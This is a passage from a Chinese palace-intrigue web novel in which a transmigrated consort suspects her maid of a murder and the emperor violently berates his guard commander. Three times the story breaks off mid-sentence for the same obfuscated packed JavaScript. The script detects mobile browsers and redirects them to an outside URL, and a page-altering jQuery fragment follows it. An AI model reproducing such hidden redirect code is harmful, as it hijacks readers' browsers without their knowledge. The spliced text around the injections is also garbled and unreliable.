周徵面不改色,只是道:“陛下,既然常在娘娘已无事,该让张太医回去了。” 赵昶半眯着眼,不置可否,张垚很有眼力见地谢恩,转头离开了。待他走后,周徵便也向太后赵昶告辞道:“臣刚才想起锦衣卫还有要事,请陛下和太后恕臣先行告辞。” 说罢他目不斜视,只是在抬头的时候意味深长地看了云昭昭一眼。 碍于这么多人在场,云昭昭一肚子气也不好发作。刚刚她找周徵理论本就是一时气急,在张垚为易琉璃诊病的工夫她已冷静下来了,也意识到到了自己之前太过冲动,反而像是原身附体了一样,现在便渐渐平复下心情,坐在自己的位置上不再言语。 李贵人见周徵走了,还不依不饶道:“诶,他怎么走了啊?那昭阳殿那个逐月到底该怎么处置啊?” 赵昶闻言白了她一眼,语气有些恼火,“你还说?武安侯也说了没有证据,朕之前该罚的的也罚了,该禁足的也禁足了,不过是死了个宫女而已,往后这宫里无论是谁,最好都安分点,一个月之内,朕不想再见到腌臜事!否则的话,休怪朕无情!” 他说完又唤来汪海,吩咐道:“派人把易常在送回宫,再去通知尚宫局,给翠微宫多派几名宫女,让太医院日常也仔细照看着点。”说罢他便带着汪厚等人拂袖而去。 接着太后由于精神不济也早早地回慈宁宫了,她一走,众人神情怏怏,一个接一个地接连离开,原本好端端的赏菊宴,到最后还是闹得不欢而散。 云昭昭心事重重,虽然今日这宴会上的风波就这么勉强揭过了,但最后的结果反而与书中殊途同归。 一边是原身撒泼大闹宴会现场,一边是她因为气不过周徵的莫须有之罪据理力争,她一时间竟分不出孰轻孰重。仔细想来,甚至周徵对自己的指控要影响深远的多。 因为这个指控所引发出的,众嫔妃的戒备,赵昶的猜忌,不知将来又会引出多少事端,就像在一张好端端的宣纸上不慎滴下的墨点,墨色随着纸张延伸开来,留下更大的印迹,然后又继续晕染,蔓延…… 而这一切要怪就只能怪她那天太过掉以轻心,没有看好秋儿,还是让书里的惨剧发生了。她越想越懊悔不已。 从水榭里出来,又走了数百米远,御花园深处秋景萧森,小径上不见人气,只有云昭昭主仆二人,更显得冷清。 刚才宴会上云昭昭就发现流霜表情古怪,似是有话要说,现下见四周无人,便问道:“方才我同姓周的对峙时就见你神色不对,现在没人了,你有什么话都可以说了。” “小姐……”流霜欲言又止,最后小心翼翼地问,“那方手帕还在武安侯手里,你说……他会不会还要继续追查是谁的?” “不会。”云昭昭肯定道,“那种刺绣的手帕在宫里很常见,就是绣蓝雪花图样的很少见,但这么多宫女,也很难仅凭这个图案找到人,而且秋儿再怎么说身份也只是一个宫女,并不值得他姓周的大动干戈地查明真凶,他之前略作追查估计也只是为了陛下的安全,顺便警告我罢了。现在有了赏菊宴这么一出,不管真凶是谁,他都达到目的了。所以,我赌他都不会再去查了。” 她一说完,瞧见流霜眼里明显松气的神情,心里顿感不妙。 “怎么,你知道那方手帕是谁的?” 流霜一听,立马警惕地望了望四周,再三确定周围真的没人以后,才拉着云昭昭小声道:“小姐,我之前见到汀雪的手帕上绣的正是蓝紫色的花朵……” “你确定?”云昭昭大为震惊。 流霜忐忑地点头道:“我确定是蓝紫色绣花,至于是不是蓝雪花,我之前也只是瞟了一眼,没细看,就是觉得很像……”说到这里她顿了顿,咽了下口水,又道:“况且,况且前几天汀雪说她手帕丢了,我见她忧心忡忡的,还调侃她不就是一方手帕吗……” 云昭昭闻言,眼神瞬间黯了下去,大脑里嗡地一阵响。 她沉默地往回走着,一言不发,甚至自己同手同脚地走了半天也没有察觉。 流霜知她一向看重自己和汀雪,以为她听了自己所言深受打击,有些后悔把这件事告诉她。 她自个儿懊恼了半天后,总算想到一番说辞安慰道:“小姐,也不一定就是汀雪的手帕,说不定是我看错了,也有可能别人也有一方相似的手帕呢。而且,说不定是汀雪那天正好看到秋儿跳河,想要救她,把手帕落在灌木丛里了也未可知。” “绝无可能。”云昭昭笃定道,“汀雪跟我说,她那天从翠微宫回到长廊那以后,便发现秋儿不见了,之后她便遇到了周徵,她并没有说她见到秋儿落水。况且,今日周徵描述的落水地和那天我们遇见的长廊口有数百米的距离,她怎么可能目睹秋儿落水。” “那万一是她当时想要救人,后来怕给自己惹上麻烦就故意隐去不说了呢?” “不会,我了解汀雪。”云昭昭看着远处春波河上的粼粼波光,怅然道,“她性子谨慎,虑事周全,绝不是一个会令自己身陷囹吾,挺身而出的人。若是换了你流霜,倒是很有可能做这等救人的傻事。” 虽被说了傻,但流霜还是觉得小姐这是在夸赞自己,便笑嘻嘻地说:“小姐,就当你是在夸我了!” 她说完想到前事,又忍不住把心里话一股脑地说了出来:“不过小姐你真的好聪明,其实依我看啊……汀雪就是有很大嫌疑,你还记得入宫前我曾跟你说过的话吗,汀雪这丫头挺不对的,当时你还不以为意。” 说到这里,她的手很自然地向怀中探去,云昭昭当时送予她的长命锁正好端端地被她揣在那里。入宫后这种明晃晃的金饰她不敢张扬地佩戴,又担心汀雪见了心生罅隙——她一直隐约觉得汀雪嫉妒云昭昭对自己的亲近,她便在亵衣贴身的一侧缝了个小布兜,满怀虔诚地日夜揣着,如今随时摸着,那冰冷的金锁都是温热温热的。 流霜脸上一副看吧都怪你不信我的小表情,令云昭昭哭笑不得。她心里的阴云散了不少,索性刮了一下流霜的脸,笑道:“瞧你这幅小人得志的样子,今日咱们再这里说的话切莫让旁人知道。” “放心吧小姐,我心里有数呢。” “还有,此事千万不要打草惊蛇,你平日里帮我多盯着点汀雪,她有什么奇怪的举动,或是一个人单独去了什么地方,见了什么人,都要跟我禀报。” “小姐,这不用你说,包在我的身上,其实从你病了那会儿我就开始留心那丫头了,除了在府里有时候不对劲,进宫后我倒并未瞧出什么古怪,她基本天天都留在昭阳殿,也未见她去过什么别的地方。” 云昭昭闻言蹙了蹙眉,道:“如果真是汀雪……我进宫时间不久,或许,还没到她幕后之人出面之时,亦或许,她幕后之人也是通过其他不为所觉察的方式向她传递的信息。你继续盯着就是,量力行事,无论如何都别让自己置身险境,知道吗?” 说着她忍不住拉过流霜的手道:“如今我身边就你们两个信得过的人,如果真的是汀雪,那我更不能再失去一个你了。” 流霜点头道:“放心,小姐,我才不会那么傻,肯定以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108299|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的命最为优先。” “那便好。” 为了让流霜不再担心,云昭昭故作轻松地应道。 实际她心里还是有诸多顾虑,光要防着一个逐月就已经很累了,现在如果还要防着汀雪,那她真不知道以后夜里还能不能像从前那样高枕无忧了。 况且对于逐月,她因为有原书的剧情加持,是逐月在明,她在暗,要防备着她也容易很多;但对于汀雪,这是原书中从来没有涉及的剧情盲点,她不知道她目的何在,不知道她背后之人是谁,目的是什么,一切都是解不开的谜题,是剥不开的迷雾,是看不清的黑暗,她无从下手,无从准备,无从知晓…… 这是云昭昭穿书后第一次感觉到害怕,她突然想起入宫前,被周徵带回云府的那个夜里,云琛的嘱咐。 他说宫里这个最危险的地方就是对她而言最安全的地方,在宫里都是如此,她完全无法想象,此时的云家又是在经历着怎样的风雨,她名义上的父亲与母亲现下又过得如何…… 她想到那天晚上在花园遇到的那名奄奄一息的门子,还有那张纸团上记录的管家王良诡异的行踪,云琛的闭口不谈,再联想到汀雪,她突然感觉到遍体生寒…… 云府内部恐怕也是早已遍布眼线,只有书里的原身,还在父母的庇护下蒙在鼓里。 回忆还在往前倒推着,某一瞬间,云昭昭突然抓住了一个之前被所有人忽略的点。 “流霜!” 她有些紧张地抓住了她的手,因为激动,她食指的指甲颤抖着扎进了中指指腹的肉里。 “怎么了小姐。”流霜不明所以地看着她。 “你再给我讲讲原身……啊不对,我!是我!我落水那晚,究竟是怎么回事!” “什么?” 云昭昭说完见流霜还是一脸茫然,便只好重新组织了一遍语言。 “听说在‘我’之前病危是因为落水后发起了高烧,听母亲说是汀雪救了‘我’,你还记得那晚发生了什么吗?给我说说呢。” 流霜一听,一边想一边喃喃道:“那几日小姐因为入宫的事跟老爷闹了别扭,甚至绝食相逼,不过虽说是绝食,夫人怕小姐真的出事,便命我每晚偷偷给小姐煮点粥喝,小姐你倒也接受了。” “那晚呢?”云昭昭急切地问道,“那晚又是什么情形。” “那晚小姐和老爷又因为入宫的理念不同大吵了一架,回来后小姐你说自己心烦,要去园子里转转,因为我当时偷偷去厨房给小姐煮粥了,所以就让汀雪去陪着小姐转,回来后就发现小姐和汀雪都泡在花园的池子里……” 说到这里流霜眼睛倏地一亮,“汀雪!” 云昭昭也一下子想到了,“是了,极有可能,那晚‘我’不是主动跳进池子的,而是被她推下去的,后来我还没死就看到你来了,她便顺势跳下池子伪装成救我。” “我说呢,”流霜愤愤然道,“虽然那晚小姐和老爷大吵了一架,但我离开前小姐也只是生气而已啊。我之前还奇怪,以小姐的性子,怎么可能想不开就投湖呢?现在我终于想明白了,是她,就是她干的,难怪那段时间我总是觉得她反常,果然是干了亏心事。” 到此,云昭昭大抵已对汀雪的行迹心中有数,她再三嘱咐流霜不可声张。两人很快走出了御花园,四周殿宇林立,行道上来来往往的宫人多了起来,便也不再多做交谈,只快步往昭阳殿走去。 及至殿内,汀雪正坐在院里同两名二等宫女一起,将新摘的桂花淘洗,筛选,再铺在垫了纱布的簸箕篮子里晾晒,见云昭昭回来了,她面上带着喜气,主动起身去为她沏一杯新摘的桂花茶,那关切的眼神,略带拘谨的神色,似乎与平时并无二致。 云昭昭看着她忙碌的身影,心情十分复杂,一切已经同从前不一样了。 24. 君怒 离开了宴会,司礼监掌印太监汪厚踩着小碎步,拖着肥胖的身躯,像只被驱赶的鸭子一般,亦步亦趋地跟在赵昶身后。他这副模样看上去甚是滑稽。 时下已过了白露时节,秋风瑟瑟,寒意凛人,汪厚边走边冻得打了个喷嚏,然后哆嗦几下身体继续赶路。可跟在他身后的几名司礼监太监却看得分明,他们老祖宗后背上那一大团深色阴影,分明是被汗水打湿后的水渍。 从御花园的水榭中出来这一路上,赵昶脸色格外的阴鸷,半抿的唇线露出一抹杀伐之气,汪厚眼观鼻鼻观心,连呼吸都小心翼翼的。 他清楚地记得,上次这位年轻君王露出这种表情的时候,那可是让整个养心殿服侍的宫女和太监都换了一拨人,其中有些个特别没眼色的,如今早已成了乱葬岗上,黄土堆下,野狗腹中的白骨烂肉了。甚至连累前任掌印太监也因此革了职,下了狱。 而他能成功上位,便是靠着自己耳听六路,眼观八方的机警劲儿才得获得赵昶的信赖的。 想到这里,汪厚略略往身后一瞄,余光瞥见自己一名干儿子想要去找地方行方便,他连忙一个眼神恶狠狠地杀过去,示意他无论如何都得憋着,那太监便只好匆匆跟上,颤颤巍巍地回到自己的位置。 这时,一直沉默地赵昶冷不丁地开口:“汪厚。” “诶,老奴在。”汪厚吓得一个踉跄,他堪堪稳住身形,脸上堆出一个诚恳的笑,“主子您可有吩咐?” 赵昶斜睨他一眼,问道:“刚才宴会上那射覆游戏你也参与了,你觉得云贵妃如何?” 他这问题问得不明所以,汪厚不敢随便回答,只得笑着说:“贵妃娘娘国色天香,气度不凡,当真是有闭月羞花之貌,主子真是好福气。” “汪厚,朕看你这一年是愈发老态龙钟了,”赵昶眸色渐暗,“朕问你话可不是要听这些,朕是问你,她,看起来可有什么奇怪之处。” 汪厚只好尴尬地笑笑,“主子,老奴以为贵妃娘娘与传言中的大不相同。” 赵昶的眉心舒展了一点,“哪里不同?” 汪厚吓得冷汗涔涔,细细寻思后,答道:“贵妃娘娘秀外慧中,虽口齿伶俐若,却也能看出平时是冷静自持之人,若不是今日武安侯……咳,表现得略微咄咄逼人了些,想来娘娘也只会旁观,不会据理力争,如此看来,确实与传言不相符。” 他这一番话分寸拿捏得让人挑不出毛病,赵昶也不再追问,只是低头沉思,很快他们便到了养心殿。只见殿外的银杏树下立着一个颀长挺拔的身影,不是别人,正是周徵。 他一身黑色劲装在满是明黄的世界里显得格格不入,几片边缘枯黄蜷曲的银杏叶落在他的发冠上,肩膀上,靴子上……显然,他已经在这里等了有一阵了。 看来刚才他口中的锦衣卫要事乃是托辞。 赵昶打发了汪厚和司礼监一众人,连看也没看周徵,便直接从他身边经进了殿内。周徵转身跟上。如今养心殿的这波太监宫女都是极有眼色之人,不等当主子的吩咐,已备好了茶水熏香,退到了殿外。 周徵知他今日心情不佳,便默默地为他沏了一杯茶,半跪在地上捧至他面前。 赵昶从小一直很享受他类似的侍奉,现在登基后虽不再命他做这些下人才做的事,但偶尔周徵在他心情不快时这样做做,倒总能令他脸色爽快些。 赵昶接过茶,喝了一口,果然眉间的阴云淡了一点。他将瓷盏搁置一旁,居高临下地看着周徵道:“今日你到底同张垚那厮说了什么?” 周徵既来了养心殿候他,便知他会问这等问题,于是他隐去了张垚关于九曜还魄针的介绍,只说是向他打听了郭院判的家传医术,以便于确认郭院判当日对云昭昭的诊治情况。 提及云昭昭,赵昶果然气又消了些,神色异常谨慎认真。 “既如此,那你可查出些什么来了?”赵昶说,“朕今日见那云氏,倒觉得你先前的怀疑,以及那日敲响登闻鼓的云家管事所言甚是有理。” 周徵倏然抬眸。 “那云氏行事作风确实与朕过去所听闻的大为不同。”赵昶又补充了一句。 不过,他没说出口的是,传闻中云琛之女痴恋于他,然而刚才宴会上他不仅没从云昭昭脸上看到那副思春少女钟情于自己的小女儿痴态,反而从她看他的眼神中读出了一丝不屑一顾,除此之外并无其他任何情绪。 好像他就是一阵风,在她眼前既看不见,也摸不着,与旁人并无区别。 这一点令他心里没来由地窝火,甚至她在跟周徵对峙的时候都比与自己对视时情绪充沛饱满。 身为九五至尊,从小又是储君,想要爬上他的龙床的女人一直不计其数,他无法忍受自己后宫的嫔妃里有人对自己这般无视,虽然他并不喜欢她,更不打算碰她。 周徵当然不知赵昶心中所想,思虑到云昭昭的身份尚未明确,他便小心地回答道:“此事臣还在探查,不过听闻云府下人间传言,乃是云氏大病一场后失忆了,毕竟以假换真这种事,也只是那王良一家之言,想来按那云氏的长相,云琛要找一个容貌相似的,也绝非易事。” “哼,失忆?” 赵昶冷笑一声,眉毛一挑,显然并不相信这种说法。 “朕只怕那云氏是借着失忆为幌子,入宫另有目的,说不定这女人过往那些行径都是装出来的。可见云家上上下下没一个好东西。可见云党这最大的隐患一日不除,朕一夜都不能安眠!” “……” 周徵见他情绪有些激动,诚恳劝道:“陛下,云琛毕竟乃三朝功臣,在先帝时就已稳坐首辅之位,树大根深,党羽众多,要连根清除并非一朝一夕之事,现在并非动他的时候。” “有何动不得?!”赵昶瞬间从龙椅上暴起,怒道,“朕是天子!他云琛是先帝封的内阁首辅,朕还是先帝封的储君呢!朕说动得就动得,朕登基至今,已足足等了三载!三载啊!朕如何还能看到姓云的骑在朕的头上,简直是倒反天罡了!” 他越说越气,在殿内来回踱步,全不见平时深沉冷静的气场,反而语气格外暴戾。 “你不知道前日内阁议会的情形,裴皓刚一提出要增加军费开支,以应对西北蠢蠢欲动的蒙古,还有南边不时骚乱的倭寇,你猜怎么着,他云琛一个,再加贾尉、霍纪安等人,直接就将朕规划已久的议案给否了,说什么北有聂家军驻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108300|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守,南有独孤旻震慑,今年钦天监还预测了很可能有天降之大灾,眼下国库余银有限,要为未来那莫须有的天灾做好准备,不可轻易增加军费。一派胡言!简直是一派胡言!” 不等周徵回答,赵昶又道:“谁不知道聂家军是他们的人,不过就是怕朕增加军费到京中四大营上,再加上独孤旻的军队,他们光靠一个聂家军难以对垒罢了!至于钦天监?哼,那帮装神弄鬼的废物说的话也能信?到时候所预备的银两不知又有多少要进入云党的腰包!” 周徵跪在地上,静静地听着赵昶的满腹牢骚。 曾经他们读书时,赵昶除了偶尔会对他撒气以外,还算是能沉得住气,就算挨了太傅的批评心里不痛快,面上也是恭恭敬敬的应下。 没想到经年过去,从储君到天子,这位年轻帝王的脾气也变得越来越阴鸷暴戾,令人感到陌生,有时候就连他也无法预料到他何时会生气。 “陛下息怒。” 周徵想了想,还是俯首道:“臣以为,陛下如今已掌控四大营,臣也在日夜加紧操练,而云琛最在乎的女儿也已在宫中,局势主动权尚在陛下手中,云党短期内定不敢轻举妄动,招兵买马增加军费开支等事尚可缓一缓。就算钦天监的预测不准,但今年夏天大旱,各地收成不好,没了粮,西北蒙古定会来犯中原,很可能会有一场硬仗,届时粮草难以从本地征集,还需从两京、湖广等地借调,这又是一笔不小的开支。” 谁知他话音刚落,赵昶便怒骂道:“攘外必先安内!这是从古至今的教训,当初老师教予的东西你是吃到狗肚子里去了?!” 周徵沉默地忍受着天子的呵斥,见这样也无法劝其冷静,他抿了抿唇,只好决定将之前探查到的情况告知赵昶。这也是他今日守在养心殿门口等他的原因,只是刚才被云昭昭的事一打岔,他还未来得及说出口。 “陛下,臣今日来,其实还有一事相禀。”周徵低头盯着地上繁复的云纹龙凤浮雕,缓缓地说。 “说!” “太医院院判郭晋原前些时日被臣发现死在了家中。” “你说什么?!”赵昶脸上的怒气果然暂时压了下去,取而代之的是难以置信的震惊,“可刚才张垚还说他向太医院告了半个月的假。” “那是臣让郭晋原的家属代其请的。” 周徵的声音异常平静,紧接着,他将之前如何跟踪郭院判,以及发现他死亡的经过说予了赵昶。 “十日前,因为王良的指控,臣在陛下的应允下调查云氏的身份。因为云氏病危那日乃是郭晋原避开宫里耳目悄悄潜入云府为其诊治的,臣亲眼目睹他深夜擅离职守出宫,便想以此为把柄向他再次确认云氏的病情,哪知道,当臣到了他家时,却发现他已死在家中多时了。” 说到这里,周徵顿了顿,双手指节握紧得有些发白,连声音也跟着颤抖了起来。 “他乃服毒而死,所服毒药正是诏狱所独有的见雪尘。” “臣怀疑,锦衣卫里已经出了奸细,而这奸细依臣拙见,并非听从云琛一方。” “应是另有一方势力在背后操纵此事,其目的就是为了让我们与云党两方相斗,它们再坐收渔利。” 25. 来客 “哗啦!” 只听一阵噼里啪啦的声响,赵昶将案台上堆着的奏折尽数扫落,一本一本,四仰八叉地尸横了一地。 周徵还未来得及抬头,眼前忽地墨色一晃,紧接着,一方砚台结结实实地砸在了他的头上,发出“咚”的一声闷响。 浓黑的墨汁,殷红的鲜血,顺着额角,鬓边,脖颈,滴在黑衣上,氤氲出大片大片浑浊的阴影。 周徵跪在那里,头正正地对着赵昶,低垂着眉眼,背挺得笔直,像是一桩雕塑,默默地承受着君王的盛怒。 又是这个姿势,又是这个表情! 赵昶一贯最恨他这副模样,从读书时起,每次他一发火,周徵都是这副低眉顺眼的姿势,仿佛无声的抵抗,以及沉默的嘲讽。 就好像是他无理取闹,周徵明明瞧不起,却碍于身份还在刻意忍受着他、让着他似的。 他气急败坏道:“这等事情,你现在才告诉朕!你这锦衣卫指挥使究竟是怎么当的?!” 周徵的声音依然冷静,“此事确是臣的疏忽。” “好一个疏忽,如今朕的锦衣卫不仅混进了奸细,还跳出了另一拨人!” 赵昶边说边上前拔出周徵腰间佩刀,将雪亮的刀尖指着他,怒道,“你这些年可真是越发长进了,如此骇人听闻的错误在你看来竟不过是个纰漏!你父母当年犯了那样的事,全因朕的母后将你救下,朕这些年也自问待你不薄,你呢,你就是这样来报答朕与母后的吗?” 刀锋离周徵的鼻尖仅毫厘之差,碎发从耳后滑落,挡在脸前,将他的眉眼隐藏在阴影里,看不清表情。他依然正着身形,仿佛一座黑色的雕塑。 “臣不敢。” 他的态度彻底激怒了赵昶,他将刀重重摔在地上,踢了一脚。“既当不好这锦衣卫指挥使,就换成别人来当!若对不起这‘武安’二字,朕便免了你这爵位便是!” 周徵的眼皮微微动了动,他没为自己做任何辩白,只是应道:“臣谨遵陛下之命,请陛下再给臣一些时间,待此事查清后,臣自会向陛下辞去指挥使一职。臣的性命亦在陛下手中,届时也任由陛下处置。” “你!你!”赵昶面红耳赤,气得一时说不出话来,只好大骂一声,“滚!你给我滚!!!” 周徵闻言,默然撑着僵硬发麻的双腿,捡了地上的绣春刀,拖着沉重的步伐慢慢地走出养心殿。 殿外候着的宫人听闻殿内的动静一个个早已是噤若寒蝉,现下看到周徵半张脸上的墨水与漆黑中翻着红肉的伤口,俱是惊得说不出话来。 汪厚见周徵这副情形,连忙小心地关切道:“侯爷,要不让老奴替你去叫太医来看……” “不必了。” 他话还未说完,周徵便略过了他,带着伤直接朝诏狱的方向去了。 · 另一头,昭阳殿内。 云昭昭从赏花宴回来后,便一直想着与汀雪有关的事。 她想起自己穿越后第一个见到的人就是汀雪,当时的情况是什么来着? 她因为不可思议自己的穿越在房间里四处查看,而汀雪突然推门进来,见到自己活着第一反应便是尖叫。后面闻声赶来的流霜柳氏等人见到自己却都是惊喜。 虽然汀雪当时的解释是看见她大半夜照镜子以为见了鬼,这个解释似乎说得通,但也说明,在当时汀雪的心里,她的小姐已经是一个必死无疑的人了。 想到这里,云昭昭越来越觉得自己回宫路上的猜测可能快接近真相了。 “小姐。” 汀雪端着一杯新泡的桂花茶过来,澄黄的茶汤上漂浮着星星点点的桂花,散发出沁人的甜香。 “您手里的书拿反了。”汀雪出声提醒,待看清楚云昭昭手中的书后,她的两颊瞬间浮起一团绯霞。 云昭昭这才如梦方醒,她回来后换了身常服,因为这身子怯冷,便披了件琵琶襟外袄,团缩在花厅的太师椅上。她的手上正拿着方才信手从书格中抽的一本书,因为心里装着不少事,要一件件地慢慢梳理,便以看书作掩饰,目光却一直飘在不远处花圃前忙活的汀雪身上,后来渐渐走了神。现在经汀雪提醒,云昭昭才发现自己随意拿的这本书,竟是一本讲述已婚官家女子与小叔私奔的狗血话本小说。 这种话本子就算是这个世界里的言情小说了,在贵族世家小姐间颇为流行,但也就是私下偷偷传阅,毕竟里面涉及男女情爱,私相授予的内容,在古代终究是上不得台面的事情,更别说云昭昭手中的这本了。虽然她一个来自现代荤素不忌的老司机早就习以为常了,但对汀雪来说确实劲爆如同晴天霹雳。 想来这本书还是云昭昭从原身的闺房里发现的,与这本在一起的还有另外几本,她很好奇这真正的古代言情小说,便混在一堆正经的诗集经卷中一起带进宫来了,现在没想到自己随手一拿便拿了这本题材最劲爆的出来。 云昭昭随手将书放在一边。她轻咳两声,对汀雪礼貌地笑笑说:“没什么,没什么,我只是拿本书在打盹而已。” “小姐,这书被奴婢看见也就算了,要是被其他人发现……怕是不太好。”汀雪忧心忡忡道。 云昭昭一想,觉得有道理。这时流霜走过来,见汀雪手上端着桂花茶,便一手接过,不等汀雪反应,便一口气喝了下去。 “你!”汀雪目瞪口呆,“这,这是泡给小姐的……” 流霜脸上立马露出恍然大悟的神情,有些抱歉地说:“啊!不好意思,不好意思小姐,奴婢回来以后实在太口渴了,闻着这茶香一时没忍住。” 她说着擦了擦嘴角,道:“奴婢这就去重新为小姐倒一杯。”说着她便拿着茶杯,在汀雪不明所以的目光中一溜烟跑走了。 云昭昭看得直想扶额。 她当然明白流霜的用意,因为自己叮嘱她盯着点汀雪,她便担心汀雪会趁机在自己的茶中下毒。 但这丫头的演技实在是太浮夸了,没有一点技巧,全是感情,反而显得十分刻意。看来,自己还得跟她好好说说。 “小姐。”汀雪垂眸,纤长的睫毛罩下一片阴影,似在思索,又似在犹豫,“今天……你们去赏菊宴上,可是发生了什么?” “怎么,你已经听说了?”云昭昭闻言心下一沉,面上却不甚在意地问道。 汀雪眨巴了下眼睛,有些紧张道:“奴婢,奴婢不是有心要打听的,也是尚食局的姑姑过来,听说的……说是小姐在宴会上同那武安侯吵起来了,这究竟是怎么回事,那武安侯看着挺可怕的,小姐,你可千万不能得罪他。” “已经得罪了。”云昭昭盯着汀雪的眼睛,索性对她说了出来,“武安侯在宴会上指控我,说翠微宫的秋儿不是自己跳河而是被人推下河的,是我指使我的人做的。我就很生气,那天逐月从头到尾一直同我在一起,她哪里有功夫去害秋儿,而你又被我吩咐去了翠微宫报信,那天跟我出宫的就只有你们俩人,你说武安侯凭什么能一口咬定是我做的?” 她故意让自己的语气越说越激动,然后不动声色地打量着汀雪的反应。 汀雪的手指不自觉地绞了绞裙子,眼神有些飘忽不定。 “是啊,这怎么能一口咬定是小姐干的呢?或许武安侯是有什么地方弄错了,那个秋儿就是自己想不开跳河的呢。” “他不可能弄错,锦衣卫检查了尸体,他还找到了秋儿被推下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108301|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河的现场,甚至他还在现场捡到了一方手帕。”云昭昭试探地说。 “手帕?”果然,汀雪不自觉地皱起了眉头,有些紧张地张了张嘴,“是什么样的手帕呢?” “是一方绣着蓝雪花的素绢手帕,这种手帕很常见,在宫女里几乎人手一张。但是绣蓝雪花这种图样却很不寻常,”云昭昭定定地盯着她,似乎不经意地问道,“汀雪,你的手帕上绣的是什么图案?” “奴婢吗?”汀雪说着从怀中摸出一方手帕道,“奴婢的手帕上绣的是紫藤花。” “不是说丢了吗?” 云昭昭惊得脱口而出,说完才觉后悔,不该将流霜出卖,便又补上一句:“我是某天无意中听你说起的。” “哦。”汀雪看起来倒是面无疑色,“前几日是以为丢了,结果是奴婢太过粗心,压在枕头下没看见罢了。”说罢她将自己的手帕递给了云昭昭。 云昭昭眼中闪过一丝讶然,她摩挲着那方小小的绢帕,心头逐渐沉重。 汀雪的手帕与周徵捡到的那方手帕无论是颜色,材质都很相似,这本就是时下最常见的素绢手帕,上面也确实如汀雪所言,绣了一簇繁花累枝的紫藤,乍一看一片如云似瀑的蓝紫,但细看汀雪的绣工甚为精巧,一针一线紧密齐整,只是边缘已经磨损起毛,素绢的部分也有些勾丝,一看就是使用了经年累月,不像临时新换的。 云昭昭:“……” 汀雪笑了笑,嘴角浮起一丝苦涩,“这方手帕还是奴婢当年陪着小姐学女红的时候绣的。” “对不起,我不记得了。”云昭昭道。 汀雪摇了摇头,眼中满是怀念,“奴婢五岁的时候老家闹饥荒,家里人都饿死了,一路靠着乞讨流浪到京城,承蒙小姐和夫人垂怜才得以栖身于云府内,这么多年过去,奴婢连从前家人的脸都忘得一干二净了,对于老家的印象也只剩下后院里生长的那一株紫藤了。” 说到动情之处,她不由地落下泪来,“老爷夫人还有小姐待奴婢好,奴婢也早就已经将你们当成了自己的家人。” “好了,别哭,仔细妆都哭花了。” 云昭昭听了心里也染上一层阴霾,她有些怀疑自己先前的判断,毕竟按流霜所言,紫藤和蓝雪花的颜色也容易混淆,万一真不是汀雪,那把自己身边一个好端端的丫头弄生分了,也是得不偿失。 “小姐。”汀雪落了几滴泪后忽然抬头,小声道,“蓝雪花绣样的手帕奴婢知道是谁的。” “你见过?”云昭昭奇道。 汀雪老实地点了点头,嗫嚅道:“是……是逐月姑姑的帕子。” “什么?!” 云昭昭震惊不已,那日,她明明记得很清楚,她是同逐月一路回的昭阳殿,回来后逐月虽不是每时每刻都在她眼皮子底下,但这么短的时间内她不太可能出宫,去御花园杀人就几乎更不可能了。 但汀雪好似知道她心中所想一般。她说:“逐月姑姑是宫里面的老人了,不像奴婢和流霜,人生地不熟,去哪里都要问路,想来她或许知道别的什么捷径也未可知。” 她的话不是没有道理,云昭昭彻底陷入了沉默,但一切之前设想的与汀雪相关的可能就真的只是巧合吗? 云昭昭想着想着,突然意识到今日从宴会上回宫后,就一直没见着逐月,她正准备着让汀雪把逐月叫来问话,就见外面守门的一名小太监屁颠屁颠地跑来,上气不接下气地通报道: “娘娘,娘娘!有客来访!” “谁呀?” 云昭昭有些心虚,她心想可千万别是赵昶。 那小太监大口喘气,好不容易理顺了呼吸,答道:“是、是易常在。” 26. 蟹羹 云昭昭一听,有些难以置信。 今日宴会上,易琉璃受了刺激都晕过去了,怎么现在还会亲自来昭阳殿?原书里好像没有这剧情吧? 正好这时流霜捧了新沏的桂花茶过来,上面还多加了两颗益气补血的桂圆,云昭昭便命她去门口带易琉璃过来。没过多久,就见她带着人回来了。 易琉璃身上依然穿着赏菊宴上的那件鹅黄色撒花蜀锦云缎裙,走至中庭的桂花树下,一袭袅娜的鹅黄,同顶头的一树金桂相得益彰,配上屋内悠悠飘散在外的檀香,好一幅桂子月中落,天香云外飘的美人图。 不愧是原书里的女主。云昭昭暗暗感慨,她不由地正了正身体,端坐于太师椅上。 易琉璃只带了身边那名叫冬哥的宫女,她的装束亦同宴会上一模一样,显然主仆二人都是回宫后还未来得及换衣服,便来了这里。 